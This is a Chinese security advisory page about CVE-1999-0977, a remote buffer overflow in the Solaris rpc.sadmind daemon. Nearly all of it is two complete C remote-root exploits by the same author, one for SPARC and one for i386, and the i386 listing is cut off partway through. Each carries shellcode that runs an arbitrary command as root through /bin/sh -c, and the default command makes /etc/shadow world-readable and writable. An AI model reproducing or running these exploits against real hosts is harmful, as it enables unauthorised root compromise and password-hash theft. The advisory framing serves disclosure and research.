首页 -> 安全研究
安全研究
安全漏洞
Solaris rpc.sadmind远程缓冲区溢出漏洞
发布日期:1999-12-10
更新日期:1999-12-10
受影响系统:
Sun Solaris rpc.sadmind描述:
- Sun Solaris 7.0 x86
- Sun Solaris 2.6 x86
- Sun Solaris 2.6
- Sun Solaris 2.5.1 x86
- Sun Solaris 2.5.1
- Sun Solaris 2.5 x86
- Sun Solaris 2.5
BUGTRAQ ID: 866
CVE(CAN) ID: CVE-1999-0977
rpc.sadmind是Solaris Solstice Admin Suite使用的一个RPC守护进程,用来执行分布式系统中的管理操作,比如增加用户等。只要接收到调用操作请求,sadmind进程通过inetd进程来自动启动。
一些较早版本的Solaris系统中的rpc.sadmind存在远程缓冲区溢出漏洞,远程攻击者可以利用此漏洞通过溢出攻击在主机上以root用户的权限执行任意指令。
存在rpc.sadmind漏洞的一些Solaris版本中,如果一个超长的缓存数据传送到NETMGT_PROC_SERVICE请求(通过clnt_call()来调用),会发生缓冲区溢出导致改写堆栈指针,从而造成执行攻击者指定的任意指令。出现问题的缓存是用来容纳客户端的域名的,rpc.sadmind中的溢出发生在amsl_verify()函数。因为rpc.sadmind默认是以root用户身份来运行,因而远程攻击者可以通过溢出攻击取得主机的root用户权限。
<*来源:Cheez Whiz (cheezbeast@hotmail.com)
链接:http://sunsolve.sun.com/pub-cgi/retrieve.pl?doctype=coll&doc=secbull/191&type=0&nav=sec.sba
http://www.cert.org/advisories/CA-1999-16.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/**
*** sadmindex - SPARC Solaris remote root exploit for /usr/sbin/sadmind
***
*** Tested and confirmed under Solaris 2.6 and 7.0 (SPARC)
***
*** Usage: % sadmindex -h hostname -c command -s sp [-o offset] \
*** [-a alignment] [-p]
***
*** where hostname is the hostname of the machine running the vulnerable
*** system administration daemon, command is the command to run as root
*** on the vulnerable machine, sp is the %sp stack pointer value, offset
*** is the number of bytes to add to sp to calculate the desired return
*** address, and alignment is the number of bytes needed to correctly
*** align the contents of the exploit buffer.
***
*** If run with a -p option, the exploit will only "ping" sadmind on the
*** remote machine to start it running. The daemon will be otherwise
*** untouched. Since pinging the daemon does not require an exploit
*** buffer to be constructed, you can safely omit the -c and -s options
*** if you use -p.
***
*** When specifying a command, be sure to pass it to the exploit as a
*** single argument, namely enclose the command string in quotes if it
*** contains spaces or other special shell delimiter characters. The
*** exploit will pass this string without modification to /bin/sh -c on
*** the remote machine, so any normally allowed Bourne shell syntax is
*** also allowed in the command string. The command string and the
*** assembly code to run it must fit inside a buffer of 512 bytes, so
*** the command string has a maximum length of about 380 bytes or so.
***
*** Due to the nature of the target overflow in sadmind, the exploit is
*** extremely sensitive to the %sp stack pointer value that is provided
*** when the exploit is run. The %sp stack pointer must be specified
*** with the exact required value, leaving no room for error. I have
*** provided confirmed values for Solaris running on a Sun SPARCengine
*** Ultra AXi machine running Solaris 2.6 5/98 and on a SPARCstation 1
*** running Solaris 7.0 10/98. On each system, sadmind was started from
*** an instance of inetd that was started at boot time by init. There
*** is a strong possibility that the demonstration values will not work
*** due to differing sets of environment variables, for example if the
*** the running inetd on the remote machine was started manually from an
*** interactive shell. If you find that the sample value for %sp does
*** not work, try adjusting the value by -2048 to 2048 from the sample in
*** increments of 8 for starters. The offset parameter and the alignment
*** parameter have default values that will be used if no overriding
*** values are specified on the command line. The default values should
*** be suitable and it will not likely be necessary to override them.
***
*** Demonstration values for SPARC Solaris:
***
*** (2.6) sadmindex -h host.example.com -c "touch HEH" -s 0xefff9580
*** (7.0) sadmindex -h host.example.com -c "touch HEH" -s 0xefff9418
***
*** THIS CODE FOR EDUCATIONAL USE ONLY IN AN ETHICAL MANNER
***
*** Cheez Whiz
*** cheezbeast@hotmail.com
***
*** June 24, 1999
**/
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <rpc/rpc.h>
#define NETMGT_PROG 100232
#define NETMGT_VERS 10
#define NETMGT_PROC_PING 0
#define NETMGT_PROC_SERVICE 1
#define NETMGT_UDP_PING_TIMEOUT 30
#define NETMGT_UDP_PING_RETRY_TIMEOUT 5
#define NETMGT_UDP_SERVICE_TIMEOUT 1
#define NETMGT_UDP_SERVICE_RETRY_TIMEOUT 2
#define NETMGT_HEADER_TYPE 6
#define NETMGT_ARG_INT 3
#define NETMGT_ARG_STRING 9
#define NETMGT_ENDOFARGS "netmgt_endofargs"
#define ADM_FW_VERSION "ADM_FW_VERSION"
#define ADM_CLIENT_DOMAIN "ADM_CLIENT_DOMAIN"
#define ADM_FENCE "ADM_FENCE"
#define BUFLEN 1076 /* 256+256+32+32+512-12 */
#define ADDRLEN 560 /* 256+256+32+32-4-12 */
#define FRAMELEN1 608
#define FRAMELEN2 4200
#define LEN 84
#define OFFSET 688 /* default offset */
#define ALIGNMENT 4 /* default alignment */
#define NOP 0x801bc00f /* xor %o7,%o7,%g0 */
char shell[] =
/* 0 */ "\x20\xbf\xff\xff" /* bn,a ? */
/* skip: */
/* 4 */ "\x20\xbf\xff\xff" /* bn,a ? */
/* 8 */ "\x7f\xff\xff\xff" /* call skip */
/* execve: */
/* 12 */ "\x90\x03\xe0\x5c" /* add %o7,92,%o0 */
/* 16 */ "\x92\x22\x20\x10" /* sub %o0,16,%o1 */
/* 20 */ "\x94\x1b\xc0\x0f" /* xor %o7,%o7,%o2 */
/* 24 */ "\xec\x02\x3f\xf0" /* ld [%o0-16],%l6 */
/* 28 */ "\xac\x22\x80\x16" /* sub %o2,%l6,%l6 */
/* 32 */ "\xae\x02\x60\x10" /* add %o1,16,%l7 */
/* 36 */ "\xee\x22\x3f\xf0" /* st %l7,[%o0-16] */
/* 40 */ "\xae\x05\xe0\x08" /* add %l7,8,%l7 */
/* 44 */ "\xc0\x2d\xff\xff" /* stb %g0,[%l7-1] */
/* 48 */ "\xee\x22\x3f\xf4" /* st %l7,[%o0-12] */
/* 52 */ "\xae\x05\xe0\x03" /* add %l7,3,%l7 */
/* 56 */ "\xc0\x2d\xff\xff" /* stb %g0,[%l7-1] */
/* 60 */ "\xee\x22\x3f\xf8" /* st %l7,[%o0-8] */
/* 64 */ "\xae\x05\xc0\x16" /* add %l7,%l6,%l7 */
/* 68 */ "\xc0\x2d\xff\xff" /* stb %g0,[%l7-1] */
/* 72 */ "\xc0\x22\x3f\xfc" /* st %g0,[%o0-4] */
/* 76 */ "\x82\x10\x20\x3b" /* mov 59,%g1 */
/* 80 */ "\x91\xd0\x20\x08" /* ta 8 */
/* data: */
/* 84 */ "\xff\xff\xff\xff" /* DATA */
/* 88 */ "\xff\xff\xff\xff" /* DATA */
/* 92 */ "\xff\xff\xff\xff" /* DATA */
/* 96 */ "\xff\xff\xff\xff" /* DATA */
/* 100 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */
/* 108 */ "\x2d\x63\xff"; /* DATA */
extern char *optarg;
struct nm_send_header {
struct timeval timeval1;
struct timeval timeval2;
struct timeval timeval3;
unsigned int uint1;
unsigned int uint2;
unsigned int uint3;
unsigned int uint4;
unsigned int uint5;
struct in_addr inaddr1;
struct in_addr inaddr2;
unsigned long ulong1;
unsigned long ulong2;
struct in_addr inaddr3;
unsigned long ulong3;
unsigned long ulong4;
unsigned long ulong5;
struct timeval timeval4;
unsigned int uint6;
struct timeval timeval5;
char *string1;
char *string2;
char *string3;
unsigned int uint7;
};
struct nm_send_arg_int {
char *string1;
unsigned int uint1;
unsigned int uint2;
int int1;
unsigned int uint3;
unsigned int uint4;
};
struct nm_send_arg_string {
char *string1;
unsigned int uint1;
unsigned int uint2;
char *string2;
unsigned int uint3;
unsigned int uint4;
};
struct nm_send_footer {
char *string1;
};
struct nm_send {
struct nm_send_header header;
struct nm_send_arg_int version;
struct nm_send_arg_string string;
struct nm_send_arg_int fence;
struct nm_send_footer footer;
};
struct nm_reply {
unsigned int uint1;
unsigned int uint2;
char *string1;
};
bool_t
xdr_nm_send_header(XDR *xdrs, struct nm_send_header *objp)
{
char *addr;
size_t size = sizeof(struct in_addr);
if (!xdr_long(xdrs, &objp->timeval1.tv_sec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval1.tv_usec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval2.tv_sec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval2.tv_usec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval3.tv_sec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval3.tv_usec))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint3))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint4))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint5))
return (FALSE);
addr = (char *) &objp->inaddr1.s_addr;
if (!xdr_bytes(xdrs, &addr, &size, size))
return (FALSE);
addr = (char *) &objp->inaddr2.s_addr;
if (!xdr_bytes(xdrs, &addr, &size, size))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->ulong1))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->ulong2))
return (FALSE);
addr = (char *) &objp->inaddr3.s_addr;
if (!xdr_bytes(xdrs, &addr, &size, size))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->ulong3))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->ulong4))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->ulong5))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval4.tv_sec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval4.tv_usec))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint6))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval5.tv_sec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval5.tv_usec))
return (FALSE);
if (!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
if (!xdr_wrapstring(xdrs, &objp->string2))
return (FALSE);
if (!xdr_wrapstring(xdrs, &objp->string3))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint7))
return (FALSE);
return (TRUE);
}
bool_t
xdr_nm_send_arg_int(XDR *xdrs, struct nm_send_arg_int *objp)
{
if (!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if (!xdr_int(xdrs, &objp->int1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint3))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint4))
return (FALSE);
return (TRUE);
}
bool_t
xdr_nm_send_arg_string(XDR *xdrs, struct nm_send_arg_string *objp)
{
if (!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if (!xdr_wrapstring(xdrs, &objp->string2))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint3))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint4))
return (FALSE);
return (TRUE);
}
bool_t
xdr_nm_send_footer(XDR *xdrs, struct nm_send_footer *objp)
{
if (!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
return (TRUE);
}
bool_t
xdr_nm_send(XDR *xdrs, struct nm_send *objp)
{
if (!xdr_nm_send_header(xdrs, &objp->header))
return (FALSE);
if (!xdr_nm_send_arg_int(xdrs, &objp->version))
return (FALSE);
if (!xdr_nm_send_arg_string(xdrs, &objp->string))
return (FALSE);
if (!xdr_nm_send_arg_int(xdrs, &objp->fence))
return (FALSE);
if (!xdr_nm_send_footer(xdrs, &objp->footer))
return (FALSE);
return (TRUE);
}
bool_t
xdr_nm_reply(XDR *xdrs, struct nm_reply *objp)
{
if (!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if (!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
return (TRUE);
}
int
main(int argc, char *argv[])
{
CLIENT *cl;
struct nm_send send;
struct nm_reply reply;
struct timeval tm;
enum clnt_stat stat;
int c, i, len, slen, clen;
char *program, *cp, buf[BUFLEN+1];
char *hostname, *command;
int offset, alignment, pinging = 0;
unsigned long int sp = 0, fp, addr;
program = argv[0];
hostname = "localhost";
command = "chmod 666 /etc/shadow";
offset = OFFSET; alignment = ALIGNMENT;
while ((c = getopt(argc, argv, "h:c:s:o:a:p")) != EOF) {
switch (c) {
case 'h':
hostname = optarg;
break;
case 'c':
command = optarg;
break;
case 's':
sp = strtoul(optarg, NULL, 0);
break;
case 'o':
offset = (int) strtol(optarg, NULL, 0);
break;
case 'a':
alignment = (int) strtol(optarg, NULL, 0);
break;
case 'p':
pinging = 1;
break;
default:
fprintf(stderr, "usage: %s -h hostname -c command -s sp "
"[-o offset] [-a alignment] [-p]\n", program);
exit(1);
break;
}
}
memset(buf, '\xff', BUFLEN);
fp = sp + FRAMELEN1 + FRAMELEN2; fp &= 0xfffffff8;
addr = sp + offset; addr &= 0xfffffffc;
for (i = 0, cp = buf + alignment; i < ADDRLEN / 8; i++) {
*cp++ = (fp >> 24) & 0xff;
*cp++ = (fp >> 16) & 0xff;
*cp++ = (fp >> 8) & 0xff;
*cp++ = (fp >> 0) & 0xff;
*cp++ = (addr >> 24) & 0xff;
*cp++ = (addr >> 16) & 0xff;
*cp++ = (addr >> 8) & 0xff;
*cp++ = (addr >> 0) & 0xff;
}
slen = strlen(shell); clen = strlen(command);
len = BUFLEN - 1 - clen - slen - ADDRLEN - alignment; len &= 0xfffffffc;
for (i = 0; i < len / 4; i++) {
*cp++ = (NOP >> 24) & 0xff;
*cp++ = (NOP >> 16) & 0xff;
*cp++ = (NOP >> 8) & 0xff;
*cp++ = (NOP >> 0) & 0xff;
}
len = clen; len++; len = -len;
shell[LEN+0] = (len >> 24) & 0xff;
shell[LEN+1] = (len >> 16) & 0xff;
shell[LEN+2] = (len >> 8) & 0xff;
shell[LEN+3] = (len >> 0) & 0xff;
memcpy(cp, shell, slen); cp += slen;
memcpy(cp, command, clen);
buf[BUFLEN] = '\0';
memset(&send, 0, sizeof(struct nm_send));
send.header.uint2 = NETMGT_HEADER_TYPE;
send.header.string1 = "";
send.header.string2 = "";
send.header.string3 = "";
send.header.uint7 =
strlen(ADM_FW_VERSION) + 1 +
(4 * sizeof(unsigned int)) + sizeof(int) +
strlen(ADM_CLIENT_DOMAIN) + 1 +
(4 * sizeof(unsigned int)) + strlen(buf) + 1 +
strlen(ADM_FENCE) + 1 +
(4 * sizeof(unsigned int)) + sizeof(int) +
strlen(NETMGT_ENDOFARGS) + 1;
send.version.string1 = ADM_FW_VERSION;
send.version.uint1 = NETMGT_ARG_INT;
send.version.uint2 = sizeof(int);
send.version.int1 = 1;
send.string.string1 = ADM_CLIENT_DOMAIN;
send.string.uint1 = NETMGT_ARG_STRING;
send.string.uint2 = strlen(buf);
send.string.string2 = buf;
send.fence.string1 = ADM_FENCE;
send.fence.uint1 = NETMGT_ARG_INT;
send.fence.uint2 = sizeof(int);
send.fence.int1 = 666;
send.footer.string1 = NETMGT_ENDOFARGS;
cl = clnt_create(hostname, NETMGT_PROG, NETMGT_VERS, "udp");
if (cl == NULL) {
clnt_pcreateerror("clnt_create");
exit(1);
}
cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
if (!pinging) {
fprintf(stdout,
"%%sp 0x%08lx offset %d --> return address 0x%08lx [%d]\n",
sp, offset, addr, alignment);
fprintf(stdout,
"%%sp 0x%08lx with frame length %d --> %%fp 0x%08lx\n",
sp, FRAMELEN1 + FRAMELEN2, fp);
tm.tv_sec = NETMGT_UDP_SERVICE_TIMEOUT; tm.tv_usec = 0;
if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm)) {
fprintf(stderr, "exploit failed; unable to set timeout\n");
exit(1);
}
tm.tv_sec = NETMGT_UDP_SERVICE_RETRY_TIMEOUT; tm.tv_usec = 0;
if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm)) {
fprintf(stderr, "exploit failed; unable to set timeout\n");
exit(1);
}
stat = clnt_call(cl, NETMGT_PROC_SERVICE,
xdr_nm_send, (caddr_t) &send,
xdr_nm_reply, (caddr_t) &reply, tm);
if (stat != RPC_SUCCESS) {
clnt_perror(cl, "clnt_call");
fprintf(stdout, "now check if exploit worked; "
"RPC failure was expected\n");
exit(0);
}
fprintf(stderr, "exploit failed; "
"RPC succeeded and returned { %u, %u, \"%s\" }\n",
reply.uint1, reply.uint2, reply.string1);
clnt_destroy(cl);
exit(1);
} else {
tm.tv_sec = NETMGT_UDP_PING_TIMEOUT; tm.tv_usec = 0;
if (!clnt_control(cl, CLSET_TIMEOUT, (char *) &tm)) {
fprintf(stderr, "exploit failed; unable to set timeout\n");
exit(1);
}
tm.tv_sec = NETMGT_UDP_PING_RETRY_TIMEOUT; tm.tv_usec = 0;
if (!clnt_control(cl, CLSET_RETRY_TIMEOUT, (char *) &tm)) {
fprintf(stderr, "exploit failed; unable to set timeout\n");
exit(1);
}
stat = clnt_call(cl, NETMGT_PROC_PING,
xdr_void, NULL,
xdr_void, NULL, tm);
if (stat != RPC_SUCCESS) {
clnt_perror(cl, "clnt_call");
exit(1);
}
clnt_destroy(cl);
exit(0);
}
}
Cheez Whiz(cheezbeast@hotmail.com) 提供了如下测试程序:
/**
*** sadmindex - i386 Solaris remote root exploit for /usr/sbin/sadmind
***
*** Tested and confirmed under Solaris 2.6 and 7.0 (i386)
***
*** Usage: % sadmindex -h hostname -c command -s sp -j junk [-o offset] \
*** [-a alignment] [-p]
***
*** where hostname is the hostname of the machine running the vulnerable
*** system administration daemon, command is the command to run as root
*** on the vulnerable machine, sp is the %esp stack pointer value, junk
*** is the number of bytes needed to fill the target stack frame (which
*** should be a multiple of 4), offset is the number of bytes to add to
*** sp to calculate the desired return address, and alignment is the
*** number of bytes needed to correctly align the contents of the exploit
*** buffer.
***
*** If run with a -p option, the exploit will only "ping" sadmind on the
*** remote machine to start it running. The daemon will be otherwise
*** untouched. Since pinging the daemon does not require an exploit
*** buffer to be constructed, you can safely omit the -c, -s, and -j
*** options if you use -p.
***
*** When specifying a command, be sure to pass it to the exploit as a
*** single argument, namely enclose the command string in quotes if it
*** contains spaces or other special shell delimiter characters. The
*** exploit will pass this string without modification to /bin/sh -c on
*** the remote machine, so any normally allowed Bourne shell syntax is
*** also allowed in the command string. The command string and the
*** assembly code to run it must fit inside a buffer of 512 bytes, so
*** the command string has a maximum length of about 390 bytes or so.
***
*** I have provided confirmed %esp stack pointer values for Solaris on a
*** Pentium PC system running Solaris 2.6 5/98 and on a Pentium PC system
*** running Solaris 7.0 10/98. On each system, sadmind was started from
*** an instance of inetd that was started at boot time by init. There
*** is a fair possibility that the demonstration values will not work
*** due to differing sets of environment variables, for example if the
*** the running inetd on the remote machine was started manually from an
*** interactive shell. If you find that the sample value for %esp does
*** not work, try adjusting the value by -2048 to 2048 from the sample in
*** increments of 32 for starters. The junk parameter seems to vary from
*** version to version, but the sample values should be appropriate for
*** the listed versions and are not likely to need adjustment. The offset
*** parameter and the alignment parameter have default values that will be
*** used if no overriding values are specified on the command line. The
*** default values should be suitable and it will not likely be necessary
*** to override them.
***
*** Demonstration values for i386 Solaris:
***
*** (2.6) sadmindex -h host.example.com -c "touch HEH" -s 0x080418ec -j 512
*** (7.0) sadmindex -h host.example.com -c "touch HEH" -s 0x08041798 -j 536
***
*** THIS CODE FOR EDUCATIONAL USE ONLY IN AN ETHICAL MANNER
***
*** Cheez Whiz
*** cheezbeast@hotmail.com
***
*** June 24, 1999
**/
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <rpc/rpc.h>
#define NETMGT_PROG 100232
#define NETMGT_VERS 10
#define NETMGT_PROC_PING 0
#define NETMGT_PROC_SERVICE 1
#define NETMGT_UDP_PING_TIMEOUT 30
#define NETMGT_UDP_PING_RETRY_TIMEOUT 5
#define NETMGT_UDP_SERVICE_TIMEOUT 1
#define NETMGT_UDP_SERVICE_RETRY_TIMEOUT 2
#define NETMGT_HEADER_TYPE 6
#define NETMGT_ARG_INT 3
#define NETMGT_ARG_STRING 9
#define NETMGT_ENDOFARGS "netmgt_endofargs"
#define ADM_FW_VERSION "ADM_FW_VERSION"
#define ADM_CLIENT_DOMAIN "ADM_CLIENT_DOMAIN"
#define ADM_FENCE "ADM_FENCE"
#define BUFLEN 1056 /* 548+8+512-12 */
#define ADDRLEN 8
#define LEN 76
/* #define JUNK 512 */ /* 524-12 (Solaris 2.6) */
/* #define JUNK 536 */ /* 548-12 (Solaris 7.0) */
#define OFFSET 572 /* default offset */
#define ALIGNMENT 0 /* default alignment */
#define NOP 0x90
char shell[] =
/* 0 */ "\xeb\x45" /* jmp springboard */
/* syscall: */
/* 2 */ "\x9a\xff\xff\xff\xff\x07\xff" /* lcall 0x7,0x0 */
/* 9 */ "\xc3" /* ret */
/* start: */
/* 10 */ "\x5e" /* popl %esi */
/* 11 */ "\x31\xc0" /* xor %eax,%eax */
/* 13 */ "\x89\x46\xb7" /* movl %eax,-0x49(%esi) */
/* 16 */ "\x88\x46\xbc" /* movb %al,-0x44(%esi) */
/* execve: */
/* 19 */ "\x31\xc0" /* xor %eax,%eax */
/* 21 */ "\x50" /* pushl %eax */
/* 22 */ "\x56" /* pushl %esi */
/* 23 */ "\x8b\x1e" /* movl (%esi),%ebx */
/* 25 */ "\xf7\xdb" /* negl %ebx */
/* 27 */ "\x89\xf7" /* movl %esi,%edi */
/* 29 */ "\x83\xc7\x10" /* addl $0x10,%edi */
/* 32 */ "\x57" /* pushl %edi */
/* 33 */ "\x89\x3e" /* movl %edi,(%esi) */
/* 35 */ "\x83\xc7\x08" /* addl $0x8,%edi */
/* 38 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */
/* 41 */ "\x89\x7e\x04" /* movl %edi,0x4(%esi) */
/* 44 */ "\x83\xc7\x03" /* addl $0x3,%edi */
/* 47 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */
/* 50 */ "\x89\x7e\x08" /* movl %edi,0x8(%esi) */
/* 53 */ "\x01\xdf" /* addl %ebx,%edi */
/* 55 */ "\x88\x47\xff" /* movb %al,-0x1(%edi) */
/* 58 */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
/* 61 */ "\xb0\x3b" /* movb $0x3b,%al */
/* 63 */ "\xe8\xbe\xff\xff\xff" /* call syscall */
/* 68 */ "\x83\xc4\x0c" /* addl $0xc,%esp */
/* springboard: */
/* 71 */ "\xe8\xbe\xff\xff\xff" /* call start */
/* data: */
/* 76 */ "\xff\xff\xff\xff" /* DATA */
/* 80 */ "\xff\xff\xff\xff" /* DATA */
/* 84 */ "\xff\xff\xff\xff" /* DATA */
/* 88 */ "\xff\xff\xff\xff" /* DATA */
/* 92 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA */
/* 100 */ "\x2d\x63\xff"; /* DATA */
extern char *optarg;
struct nm_send_header {
struct timeval timeval1;
struct timeval timeval2;
struct timeval timeval3;
unsigned int uint1;
unsigned int uint2;
unsigned int uint3;
unsigned int uint4;
unsigned int uint5;
struct in_addr inaddr1;
struct in_addr inaddr2;
unsigned long ulong1;
unsigned long ulong2;
struct in_addr inaddr3;
unsigned long ulong3;
unsigned long ulong4;
unsigned long ulong5;
struct timeval timeval4;
unsigned int uint6;
struct timeval timeval5;
char *string1;
char *string2;
char *string3;
unsigned int uint7;
};
struct nm_send_arg_int {
char *string1;
unsigned int uint1;
unsigned int uint2;
int int1;
unsigned int uint3;
unsigned int uint4;
};
struct nm_send_arg_string {
char *string1;
unsigned int uint1;
unsigned int uint2;
char *string2;
unsigned int uint3;
unsigned int uint4;
};
struct nm_send_footer {
char *string1;
};
struct nm_send {
struct nm_send_header header;
struct nm_send_arg_int version;
struct nm_send_arg_string string;
struct nm_send_arg_int fence;
struct nm_send_footer footer;
};
struct nm_reply {
unsigned int uint1;
unsigned int uint2;
char *string1;
};
bool_t
xdr_nm_send_header(XDR *xdrs, struct nm_send_header *objp)
{
char *addr;
size_t size = sizeof(struct in_addr);
if (!xdr_long(xdrs, &objp->timeval1.tv_sec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval1.tv_usec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval2.tv_sec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval2.tv_usec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval3.tv_sec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval3.tv_usec))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint3))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint4))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint5))
return (FALSE);
addr = (char *) &objp->inaddr1.s_addr;
if (!xdr_bytes(xdrs, &addr, &size, size))
return (FALSE);
addr = (char *) &objp->inaddr2.s_addr;
if (!xdr_bytes(xdrs, &addr, &size, size))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->ulong1))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->ulong2))
return (FALSE);
addr = (char *) &objp->inaddr3.s_addr;
if (!xdr_bytes(xdrs, &addr, &size, size))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->ulong3))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->ulong4))
return (FALSE);
if (!xdr_u_long(xdrs, &objp->ulong5))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval4.tv_sec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval4.tv_usec))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint6))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval5.tv_sec))
return (FALSE);
if (!xdr_long(xdrs, &objp->timeval5.tv_usec))
return (FALSE);
if (!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
if (!xdr_wrapstring(xdrs, &objp->string2))
return (FALSE);
if (!xdr_wrapstring(xdrs, &objp->string3))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint7))
return (FALSE);
return (TRUE);
}
bool_t
xdr_nm_send_arg_int(XDR *xdrs, struct nm_send_arg_int *objp)
{
if (!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if (!xdr_int(xdrs, &objp->int1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint3))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint4))
return (FALSE);
return (TRUE);
}
bool_t
xdr_nm_send_arg_string(XDR *xdrs, struct nm_send_arg_string *objp)
{
if (!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if (!xdr_wrapstring(xdrs, &objp->string2))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint3))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint4))
return (FALSE);
return (TRUE);
}
bool_t
xdr_nm_send_footer(XDR *xdrs, struct nm_send_footer *objp)
{
if (!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
return (TRUE);
}
bool_t
xdr_nm_send(XDR *xdrs, struct nm_send *objp)
{
if (!xdr_nm_send_header(xdrs, &objp->header))
return (FALSE);
if (!xdr_nm_send_arg_int(xdrs, &objp->version))
return (FALSE);
if (!xdr_nm_send_arg_string(xdrs, &objp->string))
return (FALSE);
if (!xdr_nm_send_arg_int(xdrs, &objp->fence))
return (FALSE);
if (!xdr_nm_send_footer(xdrs, &objp->footer))
return (FALSE);
return (TRUE);
}
bool_t
xdr_nm_reply(XDR *xdrs, struct nm_reply *objp)
{
if (!xdr_u_int(xdrs, &objp->uint1))
return (FALSE);
if (!xdr_u_int(xdrs, &objp->uint2))
return (FALSE);
if (!xdr_wrapstring(xdrs, &objp->string1))
return (FALSE);
return (TRUE);
}
int
main(int argc, char *argv[])
{
CLIENT *cl;
struct nm_send send;
struct nm_reply reply;
struct timeval tm;
enum clnt_stat stat;
int c, i, len, slen, clen;
char *program, *cp, buf[BUFLEN+1];
char *hostname, *command;
int junk = 0, offset, alignment, pinging = 0;
unsigned long int sp = 0, addr;
program = argv[0];
hostname = "localhost";
command = "chmod 666 /etc/shadow";
offset = OFFSET; alignment = ALIGNMENT;
while ((c = getopt(argc, argv, "h:c:s:j:o:a:p")) != EOF) {
switch (c) {
case 'h':
hostname = optarg;
break;
case 'c':
command = optarg;
break;
case 's':
sp = strtoul(optarg, NULL, 0);
break;
case 'j':
junk = (int) strtol(optarg, NULL, 0);
break;
case 'o':
offset = (int) strtol(optarg, NULL, 0);
break;
case 'a':
alignment = (int) strtol(optarg, NULL, 0);
break;
case 'p':
pinging = 1;
break;
default:
fprintf(stderr, "usage: %s -h hostname -c command -s sp -j junk "
"[-o offset] [-a alignment] [-p]\n", program);
exit(1);
break;
}
}
memset(buf, NOP, BUFLEN);
junk &= 0xfffffffc;
for (i = 0, cp = buf + alignment; i < junk / 4; i++) {
*cp++ = (sp >> 0) & 0xff;
*cp++ = (sp >> 8) & 0xff;
*cp++ = (sp >> 16) & 0xff;
*cp++ = (sp >> 24) & 0xff;
}
addr = sp + offset;
for (i = 0; i < ADDRLEN / 4; i++) {
*cp++ = (addr >> 0) & 0xff;
